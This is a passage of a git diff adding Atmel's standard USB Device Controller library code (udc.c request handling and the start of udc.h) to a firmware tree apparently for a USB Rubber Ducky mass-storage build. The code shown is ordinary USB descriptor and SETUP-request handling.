+ +/** + * \brief USB device manufacture name storage + * String is allocated only if USB_DEVICE_MANUFACTURE_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_MANUFACTURE_NAME +static uint8_t udc_string_manufacturer_name[] = USB_DEVICE_MANUFACTURE_NAME; +# define USB_DEVICE_MANUFACTURE_NAME_SIZE \ + (sizeof(udc_string_manufacturer_name)-1) +#else +# define USB_DEVICE_MANUFACTURE_NAME_SIZE 0 +#endif + +/** + * \brief USB device product name storage + * String is allocated only if USB_DEVICE_PRODUCT_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_PRODUCT_NAME +static uint8_t udc_string_product_name[] = USB_DEVICE_PRODUCT_NAME; +# define USB_DEVICE_PRODUCT_NAME_SIZE (sizeof(udc_string_product_name)-1) +#else +# define USB_DEVICE_PRODUCT_NAME_SIZE 0 +#endif + +/** + * \brief Get USB device serial number + * + * Use the define USB_DEVICE_SERIAL_NAME to set static serial number. + * + * For dynamic serial number set the define USB_DEVICE_GET_SERIAL_NAME_POINTER + * to a suitable pointer. This will also require the serial number length + * define USB_DEVICE_GET_SERIAL_NAME_LENGTH. + */ +#if defined USB_DEVICE_GET_SERIAL_NAME_POINTER + static const uint8_t *udc_get_string_serial_name(void) + { + return (const uint8_t *)USB_DEVICE_GET_SERIAL_NAME_POINTER; + } +# define USB_DEVICE_SERIAL_NAME_SIZE \ + USB_DEVICE_GET_SERIAL_NAME_LENGTH +#elif defined USB_DEVICE_SERIAL_NAME + static const uint8_t *udc_get_string_serial_name(void) + { + return (const uint8_t *)USB_DEVICE_SERIAL_NAME; + } +# define USB_DEVICE_SERIAL_NAME_SIZE \ + (sizeof(USB_DEVICE_SERIAL_NAME)-1) +#else +# define USB_DEVICE_SERIAL_NAME_SIZE 0 +#endif + +/** + * \brief USB device string descriptor + * Structure used to transfer ASCII strings to USB String descriptor structure. + */ +struct udc_string_desc_t { + usb_str_desc_t header; + le16_t string[Max(Max(USB_DEVICE_MANUFACTURE_NAME_SIZE, \ + USB_DEVICE_PRODUCT_NAME_SIZE), USB_DEVICE_SERIAL_NAME_SIZE)]; +}; +COMPILER_WORD_ALIGNED +static UDC_DESC_STORAGE struct udc_string_desc_t udc_string_desc = { + .header.bDescriptorType = USB_DT_STRING +}; +//! @} + +usb_iface_desc_t UDC_DESC_STORAGE *udc_get_interface_desc(void) +{ + return udc_ptr_iface; +} + +/** + * \brief Returns a value to check the end of USB Configuration descriptor + * + * \return address after the last byte of USB Configuration descriptor + */ +static usb_conf_desc_t UDC_DESC_STORAGE *udc_get_eof_conf(void) +{ + return (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) + udc_ptr_conf->desc + + le16_to_cpu(udc_ptr_conf->desc->wTotalLength)); +} + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Search specific descriptor in global interface descriptor + * + * \param desc Address of interface descriptor + * or previous specific descriptor found + * \param desc_id Descriptor ID to search + * + * \return address of specific descriptor found + * \return NULL if it is the end of global interface descriptor + */ +static usb_conf_desc_t UDC_DESC_STORAGE *udc_next_desc_in_iface(usb_conf_desc_t + UDC_DESC_STORAGE * desc, uint8_t desc_id) +{ + usb_conf_desc_t UDC_DESC_STORAGE *ptr_eof_desc; + + ptr_eof_desc = udc_get_eof_conf(); + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + + desc->bLength); + // Check the end of configuration descriptor + while (ptr_eof_desc > desc) { + // If new interface descriptor is found, + // then it is the end of the current global interface descriptor + if (USB_DT_INTERFACE == desc->bDescriptorType) { + break; // End of global interface descriptor + } + if (desc_id == desc->bDescriptorType) { + return desc; // Specific descriptor found + } + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + + desc->bLength); + } + return NULL; // No specific descriptor found +} +#endif + +/** + * \brief Search an interface descriptor + * This routine updates the internal pointer udc_ptr_iface. + * + * \param iface_num Interface number to find in Configuration Descriptor + * \param setting_num Setting number of interface to find + * + * \return 1 if found or 0 if not found + */ +static bool udc_update_iface_desc(uint8_t iface_num, uint8_t setting_num) +{ + usb_conf_desc_t UDC_DESC_STORAGE *ptr_end_desc; + + if (0 == udc_num_configuration) { + return false; + } + + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) { + return false; + } + + // Start at the beginning of configuration descriptor + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) + udc_ptr_conf->desc; + + // Check the end of configuration descriptor + ptr_end_desc = udc_get_eof_conf(); + while (ptr_end_desc > + (UDC_DESC_STORAGE usb_conf_desc_t *) udc_ptr_iface) { + if (USB_DT_INTERFACE == udc_ptr_iface->bDescriptorType) { + // A interface descriptor is found + // Check interface and alternate setting number + if ((iface_num == udc_ptr_iface->bInterfaceNumber) && + (setting_num == + udc_ptr_iface->bAlternateSetting)) { + return true; // Interface found + } + } + // Go to next descriptor + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) ( + (uint8_t *) udc_ptr_iface + + udc_ptr_iface->bLength); + } + return false; // Interface not found +} + +/** + * \brief Disables an usb device interface (UDI) + * This routine call the UDI corresponding to interface number + * + * \param iface_num Interface number to disable + * + * \return 1 if it is done or 0 if interface is not found + */ +static bool udc_iface_disable(uint8_t iface_num) +{ + udi_api_t UDC_DESC_STORAGE *udi_api; + + // Select first alternate setting of the interface + // to update udc_ptr_iface before call iface->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) { + return false; + } + + // Select the interface with the current alternate setting + udi_api = udc_ptr_conf->udi_apis[iface_num]; + +#if (0!=USB_DEVICE_MAX_EP) + if (!udc_update_iface_desc(iface_num, udi_api->getsetting())) { + return false; + } + + // Start at the beginning of interface descriptor + { + usb_ep_desc_t UDC_DESC_STORAGE *ep_desc; + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) udc_ptr_iface; + while (1) { + // Search Endpoint descriptor included in global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) + udc_next_desc_in_iface((UDC_DESC_STORAGE + usb_conf_desc_t *) + ep_desc, USB_DT_ENDPOINT); + if (NULL == ep_desc) { + break; + } + // Free the endpoint used by the interface + udd_ep_free(ep_desc->bEndpointAddress); + } + } +#endif + + // Disable interface + udi_api->disable(); + return true; +} + +/** + * \brief Enables an usb device interface (UDI) + * This routine calls the UDI corresponding + * to the interface and setting number. + * + * \param iface_num Interface number to enable + * \param setting_num Setting number to enable + * + * \return 1 if it is done or 0 if interface is not found + */ +static bool udc_iface_enable(uint8_t iface_num, uint8_t setting_num) +{ + // Select the interface descriptor + if (!udc_update_iface_desc(iface_num, setting_num)) { + return false; + } + +#if (0!=USB_DEVICE_MAX_EP) + usb_ep_desc_t UDC_DESC_STORAGE *ep_desc; + + // Start at the beginning of the global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) udc_ptr_iface; + while (1) { + // Search Endpoint descriptor included in the global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) + udc_next_desc_in_iface((UDC_DESC_STORAGE + usb_conf_desc_t *) ep_desc, + USB_DT_ENDPOINT); + if (NULL == ep_desc) + break; + // Alloc the endpoint used by the interface + if (!udd_ep_alloc(ep_desc->bEndpointAddress, + ep_desc->bmAttributes, + le16_to_cpu + (ep_desc->wMaxPacketSize))) { + return false; + } + } +#endif + // Enable the interface + return udc_ptr_conf->udi_apis[iface_num]->enable(); +} + +/*! \brief Start the USB Device stack + */ +void udc_start(void) +{ + udd_enable(); +} + +/*! \brief Stop the USB Device stack + */ +void udc_stop(void) +{ + udd_disable(); +} + +/** + * \brief Reset the current configuration of the USB device, + * This routines can be called by UDD when a RESET on the USB line occurs. + */ +void udc_reset(void) +{ + uint8_t iface_num; + + if (udc_num_configuration) { + for (iface_num = 0; + iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { + udc_iface_disable(iface_num); + } + } + udc_num_configuration = 0; +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + if (CPU_TO_LE16(USB_DEV_STATUS_REMOTEWAKEUP) & udc_device_status) { + // Remote wakeup is enabled then disable it + UDC_REMOTEWAKEUP_DISABLE(); + } +#endif + udc_device_status = +#if (USB_DEVICE_ATTR & USB_CONFIG_ATTR_SELF_POWERED) + CPU_TO_LE16(USB_DEV_STATUS_SELF_POWERED); +#else + CPU_TO_LE16(USB_DEV_STATUS_BUS_POWERED); +#endif +} + +void udc_sof_notify(void) +{ + uint8_t iface_num; + + if (udc_num_configuration) { + for (iface_num = 0; + iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { + if (udc_ptr_conf->udi_apis[iface_num]->sof_notify != NULL) { + udc_ptr_conf->udi_apis[iface_num]->sof_notify(); + } + } + } +} + +/** + * \brief Standard device request to get device status + * + * \return true if success + */ +static bool udc_req_std_dev_get_status(void) +{ + if (udd_g_ctrlreq.req.wLength != sizeof(udc_device_status)) { + return false; + } + + udd_set_setup_payload( (uint8_t *) & udc_device_status, + sizeof(udc_device_status)); + return true; +} + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Standard endpoint request to get endpoint status + * + * \return true if success + */ +static bool udc_req_std_ep_get_status(void) +{ + static le16_t udc_ep_status; + + if (udd_g_ctrlreq.req.wLength != sizeof(udc_ep_status)) { + return false; + } + + udc_ep_status = udd_ep_is_halted(udd_g_ctrlreq.req. + wIndex & 0xFF) ? CPU_TO_LE16(USB_EP_STATUS_HALTED) : 0; + + udd_set_setup_payload( (uint8_t *) & udc_ep_status, + sizeof(udc_ep_status)); + return true; +} +#endif + +/** + * \brief Standard device request to change device status + * + * \return true if success + */ +static bool udc_req_std_dev_clear_feature(void) +{ + if (udd_g_ctrlreq.req.wLength) { + return false; + } + + if (udd_g_ctrlreq.req.wValue == USB_DEV_FEATURE_REMOTE_WAKEUP) { + udc_device_status &= CPU_TO_LE16(~USB_DEV_STATUS_REMOTEWAKEUP); +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + UDC_REMOTEWAKEUP_DISABLE(); +#endif + return true; + } + return false; +} + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Standard endpoint request to clear endpoint feature + * + * \return true if success + */ +static bool udc_req_std_ep_clear_feature(void) +{ + if (udd_g_ctrlreq.req.wLength) { + return false; + } + + if (udd_g_ctrlreq.req.wValue == USB_EP_FEATURE_HALT) { + return udd_ep_clear_halt(udd_g_ctrlreq.req.wIndex & 0xFF); + } + return false; +} +#endif + +/** + * \brief Standard device request to set a feature + * + * \return true if success + */ +static bool udc_req_std_dev_set_feature(void) +{ + if (udd_g_ctrlreq.req.wLength) { + return false; + } + + switch (udd_g_ctrlreq.req.wValue) { + + case USB_DEV_FEATURE_REMOTE_WAKEUP: +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + udc_device_status |= CPU_TO_LE16(USB_DEV_STATUS_REMOTEWAKEUP); + UDC_REMOTEWAKEUP_ENABLE(); + return true; +#else + return false; +#endif + +#ifdef USB_DEVICE_HS_SUPPORT + case USB_DEV_FEATURE_TEST_MODE: + if (!udd_is_high_speed()) { + break; + } + if (udd_g_ctrlreq.req.wIndex & 0xff) { + break; + } + // Unconfigure the device, terminating all ongoing requests + udc_reset(); + switch ((udd_g_ctrlreq.req.wIndex >> 8) & 0xFF) { + case USB_DEV_TEST_MODE_J: + udd_g_ctrlreq.callback = udd_test_mode_j; + return true; + + case USB_DEV_TEST_MODE_K: + udd_g_ctrlreq.callback = udd_test_mode_k; + return true; + + case USB_DEV_TEST_MODE_SE0_NAK: + udd_g_ctrlreq.callback = udd_test_mode_se0_nak; + return true; + + case USB_DEV_TEST_MODE_PACKET: + udd_g_ctrlreq.callback = udd_test_mode_packet; + return true; + + case USB_DEV_TEST_MODE_FORCE_ENABLE: // Only for downstream facing hub ports + default: + break; + } + break; +#endif + default: + break; + } + return false; +} + +/** + * \brief Standard endpoint request to halt an endpoint + * + * \return true if success + */ +#if (0!=USB_DEVICE_MAX_EP) +static bool udc_req_std_epset_feature(void) +{ + if (udd_g_ctrlreq.req.wLength) { + return false; + } + if (udd_g_ctrlreq.req.wValue == USB_EP_FEATURE_HALT) { + return udd_ep_set_halt(udd_g_ctrlreq.req.wIndex & 0xFF); + } + return false; +} +#endif + +/** + * \brief Change the address of device + * Callback called at the end of request set address + */ +static void udc_valid_address(void) +{ + udd_set_address(udd_g_ctrlreq.req.wValue & 0x7F); +} + +/** + * \brief Standard device request to set device address + * + * \return true if success + */ +static bool udc_req_std_dev_set_address(void) +{ + if (udd_g_ctrlreq.req.wLength) { + return false; + } + + // The address must be changed at the end of setup request after the handshake + // then we use a callback to change address + udd_g_ctrlreq.callback = udc_valid_address; + return true; +} + +/** + * \brief Standard device request to get device string descriptor + * + * \return true if success + */ +static bool udc_req_std_dev_get_str_desc(void) +{ + uint8_t i; + const uint8_t *str; + uint8_t str_length = 0; + + // Link payload pointer to the string corresponding at request + switch (udd_g_ctrlreq.req.wValue & 0xff) { + case 0: + udd_set_setup_payload((uint8_t *) &udc_string_desc_languageid, + sizeof(udc_string_desc_languageid)); + break; + +#ifdef USB_DEVICE_MANUFACTURE_NAME + case 1: + str_length = USB_DEVICE_MANUFACTURE_NAME_SIZE; + str = udc_string_manufacturer_name; + break; +#endif +#ifdef USB_DEVICE_PRODUCT_NAME + case 2: + str_length = USB_DEVICE_PRODUCT_NAME_SIZE; + str = udc_string_product_name; + break; +#endif +#if defined USB_DEVICE_SERIAL_NAME || defined USB_DEVICE_GET_SERIAL_NAME_POINTER + case 3: + str_length = USB_DEVICE_SERIAL_NAME_SIZE; + str = udc_get_string_serial_name(); + break; +#endif + default: +#ifdef UDC_GET_EXTRA_STRING + if (UDC_GET_EXTRA_STRING()) { + break; + } +#endif + return false; + } + + if (str_length) { + for(i = 0; i < str_length; i++) { + udc_string_desc.string[i] = cpu_to_le16((le16_t)str[i]); + } + + udc_string_desc.header.bLength = 2 + (str_length) * 2; + udd_set_setup_payload( + (uint8_t *) &udc_string_desc, + udc_string_desc.header.bLength); + } + + return true; +} + +/** + * \brief Standard device request to get descriptors about USB device + * + * \return true if success + */ +static bool udc_req_std_dev_get_descriptor(void) +{ + uint8_t conf_num; + + conf_num = udd_g_ctrlreq.req.wValue & 0xff; + + // Check descriptor ID + switch ((uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + case USB_DT_DEVICE: + // Device descriptor requested +#ifdef USB_DEVICE_HS_SUPPORT + if (!udd_is_high_speed()) { + udd_set_setup_payload( + (uint8_t *) udc_config.confdev_hs, + udc_config.confdev_hs->bLength); + } else +#endif + { + udd_set_setup_payload( + (uint8_t *) udc_config.confdev_lsfs, + udc_config.confdev_lsfs->bLength); + } + break; + + case USB_DT_CONFIGURATION: + // Configuration descriptor requested +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + if (conf_num >= udc_config.confdev_hs-> + bNumConfigurations) { + return false; + } + udd_set_setup_payload( + (uint8_t *)udc_config.conf_hs[conf_num].desc, + le16_to_cpu(udc_config.conf_hs[conf_num].desc->wTotalLength)); + } else +#endif + { + // FS descriptor + if (conf_num >= udc_config.confdev_lsfs-> + bNumConfigurations) { + return false; + } + udd_set_setup_payload( + (uint8_t *)udc_config.conf_lsfs[conf_num].desc, + le16_to_cpu(udc_config.conf_lsfs[conf_num].desc->wTotalLength)); + } + ((usb_conf_desc_t *) udd_g_ctrlreq.payload)->bDescriptorType = + USB_DT_CONFIGURATION; + break; + +#ifdef USB_DEVICE_HS_SUPPORT + case USB_DT_DEVICE_QUALIFIER: + // Device qualifier descriptor requested + udd_set_setup_payload( (uint8_t *) udc_config.qualifier, + udc_config.qualifier->bLength); + break; + + case USB_DT_OTHER_SPEED_CONFIGURATION: + // Other configuration descriptor requested + if (!udd_is_high_speed()) { + // HS descriptor + if (conf_num >= udc_config.confdev_hs-> + bNumConfigurations) { + return false; + } + udd_set_setup_payload( + (uint8_t *)udc_config.conf_hs[conf_num].desc, + le16_to_cpu(udc_config.conf_hs[conf_num].desc->wTotalLength)); + } else { + // FS descriptor + if (conf_num >= udc_config.confdev_lsfs-> + bNumConfigurations) { + return false; + } + udd_set_setup_payload( + (uint8_t *)udc_config.conf_lsfs[conf_num].desc, + le16_to_cpu(udc_config.conf_lsfs[conf_num].desc->wTotalLength)); + } + ((usb_conf_desc_t *) udd_g_ctrlreq.payload)->bDescriptorType = + USB_DT_OTHER_SPEED_CONFIGURATION; + break; +#endif + + case USB_DT_STRING: + // String descriptor requested + if (!udc_req_std_dev_get_str_desc()) { + return false; + } + break; + + default: + // Unknown descriptor requested + return false; + } + // if the descriptor is larger than length requested, then reduce it + if (udd_g_ctrlreq.req.wLength < udd_g_ctrlreq.payload_size) { + udd_g_ctrlreq.payload_size = udd_g_ctrlreq.req.wLength; + } + return true; +} + +/** + * \brief Standard device request to get configuration number + * + * \return true if success + */ +static bool udc_req_std_dev_get_configuration(void) +{ + if (udd_g_ctrlreq.req.wLength != 1) { + return false; + } + + udd_set_setup_payload(&udc_num_configuration,1); + return true; +} + +/** + * \brief Standard device request to enable a configuration + * + * \return true if success + */ +static bool udc_req_std_dev_set_configuration(void) +{ + uint8_t iface_num; + + // Check request length + if (udd_g_ctrlreq.req.wLength) { + return false; + } + // Authorize configuration only if the address is valid + if (!udd_getaddress()) { + return false; + } + // Check the configuration number requested +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + if ((udd_g_ctrlreq.req.wValue & 0xFF) > + udc_config.confdev_hs->bNumConfigurations) { + return false; + } + } else +#endif + { + // FS descriptor + if ((udd_g_ctrlreq.req.wValue & 0xFF) > + udc_config.confdev_lsfs->bNumConfigurations) { + return false; + } + } + + // Reset current configuration + udc_reset(); + + // Enable new configuration + udc_num_configuration = udd_g_ctrlreq.req.wValue & 0xFF; + if (udc_num_configuration == 0) { + return true; // Default empty configuration requested + } + // Update pointer of the configuration descriptor +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + udc_ptr_conf = &udc_config.conf_hs[udc_num_configuration - 1]; + } else +#endif + { + // FS descriptor + udc_ptr_conf = &udc_config.conf_lsfs[udc_num_configuration - 1]; + } + // Enable all interfaces of the selected configuration + for (iface_num = 0; iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { + if (!udc_iface_enable(iface_num, 0)) { + return false; + } + } + return true; +} + +/** + * \brief Standard interface request + * to get the alternate setting number of an interface + * + * \return true if success + */ +static bool udc_req_std_iface_get_setting(void) +{ + static uint8_t udc_iface_setting; + uint8_t iface_num; + udi_api_t UDC_DESC_STORAGE *udi_api; + + if (udd_g_ctrlreq.req.wLength != 1) { + return false; // Error in request + } + if (!udc_num_configuration) { + return false; // The device is not is configured state yet + } + + // Check the interface number included in the request + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) { + return false; + } + + // Select first alternate setting of the interface to update udc_ptr_iface + // before call iface->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) { + return false; + } + // Get alternate setting from UDI + udi_api = udc_ptr_conf->udi_apis[iface_num]; + udc_iface_setting = udi_api->getsetting(); + + // Link value to payload pointer of request + udd_set_setup_payload(&udc_iface_setting,1); + return true; +} + +/** + * \brief Standard interface request + * to set an alternate setting of an interface + * + * \return true if success + */ +static bool udc_req_std_iface_set_setting(void) +{ + uint8_t iface_num, setting_num; + + if (udd_g_ctrlreq.req.wLength) { + return false; // Error in request + } + if (!udc_num_configuration) { + return false; // The device is not is configured state yet + } + + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + setting_num = udd_g_ctrlreq.req.wValue & 0xFF; + + // Disable current setting + if (!udc_iface_disable(iface_num)) { + return false; + } + + // Enable new setting + return udc_iface_enable(iface_num, setting_num); +} + +/** + * \brief Main routine to manage the standard USB SETUP request + * + * \return true if the request is supported + */ +static bool udc_reqstd(void) +{ + if (Udd_setup_is_in()) { + // GET Standard Requests + if (udd_g_ctrlreq.req.wLength == 0) { + return false; // Error for USB host + } + + if (USB_REQ_RECIP_DEVICE == Udd_setup_recipient()) { + // Standard Get Device request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_STATUS: + return udc_req_std_dev_get_status(); + case USB_REQ_GET_DESCRIPTOR: + return udc_req_std_dev_get_descriptor(); + case USB_REQ_GET_CONFIGURATION: + return udc_req_std_dev_get_configuration(); + default: + break; + } + } + + if (USB_REQ_RECIP_INTERFACE == Udd_setup_recipient()) { + // Standard Get Interface request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_INTERFACE: + return udc_req_std_iface_get_setting(); + default: + break; + } + } +#if (0!=USB_DEVICE_MAX_EP) + if (USB_REQ_RECIP_ENDPOINT == Udd_setup_recipient()) { + // Standard Get Endpoint request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_STATUS: + return udc_req_std_ep_get_status(); + default: + break; + } + } +#endif + } else { + // SET Standard Requests + if (USB_REQ_RECIP_DEVICE == Udd_setup_recipient()) { + // Standard Set Device request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_SET_ADDRESS: + return udc_req_std_dev_set_address(); + case USB_REQ_CLEAR_FEATURE: + return udc_req_std_dev_clear_feature(); + case USB_REQ_SET_FEATURE: + return udc_req_std_dev_set_feature(); + case USB_REQ_SET_CONFIGURATION: + return udc_req_std_dev_set_configuration(); + case USB_REQ_SET_DESCRIPTOR: + /* Not supported (defined as optional by the USB 2.0 spec) */ + break; + default: + break; + } + } + + if (USB_REQ_RECIP_INTERFACE == Udd_setup_recipient()) { + // Standard Set Interface request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_SET_INTERFACE: + return udc_req_std_iface_set_setting(); + default: + break; + } + } +#if (0!=USB_DEVICE_MAX_EP) + if (USB_REQ_RECIP_ENDPOINT == Udd_setup_recipient()) { + // Standard Set Endpoint request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_CLEAR_FEATURE: + return udc_req_std_ep_clear_feature(); + case USB_REQ_SET_FEATURE: + return udc_req_std_epset_feature(); + default: + break; + } + } +#endif + } + return false; +} + +/** + * \brief Send the SETUP interface request to UDI + * + * \return true if the request is supported + */ +static bool udc_req_iface(void) +{ + uint8_t iface_num; + udi_api_t UDC_DESC_STORAGE *udi_api; + + if (0 == udc_num_configuration) { + return false; // The device is not is configured state yet + } + // Check interface number + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) { + return false; + } + + //* To update udc_ptr_iface with the selected interface in request + // Select first alternate setting of interface to update udc_ptr_iface + // before calling udi_api->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) { + return false; + } + // Select the interface with the current alternate setting + udi_api = udc_ptr_conf->udi_apis[iface_num]; + if (!udc_update_iface_desc(iface_num, udi_api->getsetting())) { + return false; + } + + // Send the SETUP request to the UDI corresponding to the interface number + return udi_api->setup(); +} + +/** + * \brief Main routine to manage the USB SETUP request. + * + * This function parses a USB SETUP request and submits an appropriate + * response back to the host or, in the case of SETUP OUT requests + * with data, sets up a buffer for receiving the data payload. + * + * The main standard requests defined by the USB 2.0 standard are handled + * internally. The interface requests are sent to UDI, and the specific request + * sent to a specific application callback. + * + * \return true if the request is supported, else the request is stalled by UDD + */ +bool udc_process_setup(void) +{ + // By default no data (receive/send) and no callbacks registered + udd_g_ctrlreq.payload_size = 0; + udd_g_ctrlreq.callback = NULL; + udd_g_ctrlreq.over_under_run = NULL; + + if (Udd_setup_is_in()) { + if (udd_g_ctrlreq.req.wLength == 0) { + return false; // Error from USB host + } + } + + // If standard request then try to decode it in UDC + if (Udd_setup_type() == USB_REQ_TYPE_STANDARD) { + if (udc_reqstd()) { + return true; + } + } + + // If interface request then try to decode it in UDI + if (Udd_setup_recipient() == USB_REQ_RECIP_INTERFACE) { + if (udc_req_iface()) { + return true; + } + } + + // Here SETUP request unknown by UDC and UDIs +#ifdef USB_DEVICE_SPECIFIC_REQUEST + // Try to decode it in specific callback + return USB_DEVICE_SPECIFIC_REQUEST(); // Ex: Vendor request,... +#else + return false; +#endif +} + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udc.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udc.h new file mode 100755 index 0000000..4d956bf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udc.h @@ -0,0 +1,241 @@ +/** + * \file + * + * \brief Interface of the USB Device Controller (UDC) + * + * Copyright (c) 2009 - 2012 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _UDC_H_ +#define _UDC_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udc_desc.h" +#include "udd.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udc_group USB Device Controller (UDC) + * + * The UDC provides a high-level abstraction of the usb device. + * You can use these functions to control the main device state + * (start/attach/wakeup). + * + * \section USB_DEVICE_CONF USB Device Custom configuration + * The following USB Device configuration must be included in the conf_usb.h + * file of the application. + * + * USB_DEVICE_VENDOR_ID (Word)
+ * Vendor ID provided by USB org (ATMEL 0x03EB). + * + * USB_DEVICE_PRODUCT_ID (Word)
+ * Product ID (Referenced in usb_atmel.h). + * + * USB_DEVICE_MAJOR_VERSION (Byte)
+ * Major version of the device + * + * USB_DEVICE_MINOR_VERSION (Byte)
+ * Minor version of the device + * + * USB_DEVICE_MANUFACTURE_NAME (string)
+ * ASCII name for the manufacture + * + * USB_DEVICE_PRODUCT_NAME (string)
+ * ASCII name for the product + * + * USB_DEVICE_SERIAL_NAME (string)
+ * ASCII name to enable and set a serial number + * + * USB_DEVICE_POWER (Numeric)
+ * (unit mA) Maximum device power + * + * USB_DEVICE_ATTR (Byte)
+ * USB attributes available: + * - USB_CONFIG_ATTR_SELF_POWERED + * - USB_CONFIG_ATTR_REMOTE_WAKEUP + * Note: if remote wake enabled then defines remotewakeup callbacks, + * see Table 5-2. External API from UDC - Callback + * + * USB_DEVICE_LOW_SPEED (Only defined)
+ * Force the USB Device to run in low speed + * + * USB_DEVICE_HS_SUPPORT (Only defined)
+ * Authorize the USB Device to run in high speed + * + * USB_DEVICE_MAX_EP (Byte)
+ * Define the maximum endpoint number used by the USB Device.
+ * This one is already defined in UDI default configuration. + * Ex: + * - When endpoint control 0x00, endpoint 0x01 and + * endpoint 0x82 is used then USB_DEVICE_MAX_EP=2 + * - When only endpoint control 0x00 is used then USB_DEVICE_MAX_EP=0 + * - When endpoint 0x01 and endpoint 0x81 is used then USB_DEVICE_MAX_EP=1
+ * (configuration not possible on USBB interface) + * @{ + */ + +/** + * \brief Authorizes the VBUS event + * + * \return true, if the VBUS monitoring is possible. + * + * \section udc_vbus_monitoring VBus monitoring used cases + * + * The VBus monitoring is used only for USB SELF Power application. + * + * - No custom implementation \n + * // Authorize VBUS monitoring \n + * if (!udc_include_vbus_monitoring()) { \n + * // VBUS monitoring is not available on this product \n + * // thereby VBUS has to be considered as present \n + * // Attach USB Device \n + * udc_attach(); \n + * } \n + * + * - Add custom VBUS monitoring \n + * // Authorize VBUS monitoring \n + * if (!udc_include_vbus_monitoring()) { \n + * // Implement custom VBUS monitoring via GPIO or other \n + * } \n + * Event_VBUS_present() // VBUS interrupt or GPIO interrupt or other \n + * { \n + * // Attach USB Device \n + * udc_attach(); \n + * } \n + * + * - Case of battery charging \n + * Event VBUS present() // VBUS interrupt or GPIO interrupt or .. \n + * { \n + * // Authorize battery charging, but wait key press to start USB. \n + * } \n + * Event Key press() \n + * { \n + * // Stop batteries charging \n + * // Start USB \n + * udc_attach(); \n + * } \n + */ +static inline bool 